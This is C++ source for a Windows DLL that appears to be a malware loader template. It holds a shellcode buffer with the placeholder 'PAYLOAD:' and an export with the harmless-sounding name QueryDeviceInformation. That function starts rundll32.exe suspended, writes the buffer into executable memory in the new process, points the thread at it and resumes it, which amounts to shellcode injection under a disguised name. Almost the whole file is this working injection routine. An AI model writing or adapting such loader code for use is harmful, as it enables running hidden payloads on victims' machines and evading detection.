#include <Windows.h>
#include <iostream>
#include <strsafe.h>


#define BUFSIZE 1024 
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";

void inline_bzero(void* p, size_t l)
{

	BYTE* q = (BYTE*)p;
	size_t x = 0;
	for (x = 0; x < l; x++)
		*(q++) = 0x00;
}

HRESULT __stdcall QueryDeviceInformation()
{
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	CONTEXT ctx;
	LPVOID ep;

	// Start up the payload in a new process
	inline_bzero(&si, sizeof(si));
	si.cb = sizeof(si);

	wchar_t command[50];
	memset(command, 0, 100);
	lstrcpyW(command, L"rundll32.exe");

	// Create a suspended process, write shellcode into stack, make stack RWX, resume it
	if (CreateProcess(0, command, 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
		ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
		GetThreadContext(pi.hThread, &ctx);

		ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

		WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);

#ifdef _WIN64
		ctx.Rip = (DWORD64)ep;
#else
		ctx.Eip = (DWORD)ep;
#endif

		SetThreadContext(pi.hThread, &ctx);

		ResumeThread(pi.hThread);
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
	}
	return S_OK;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}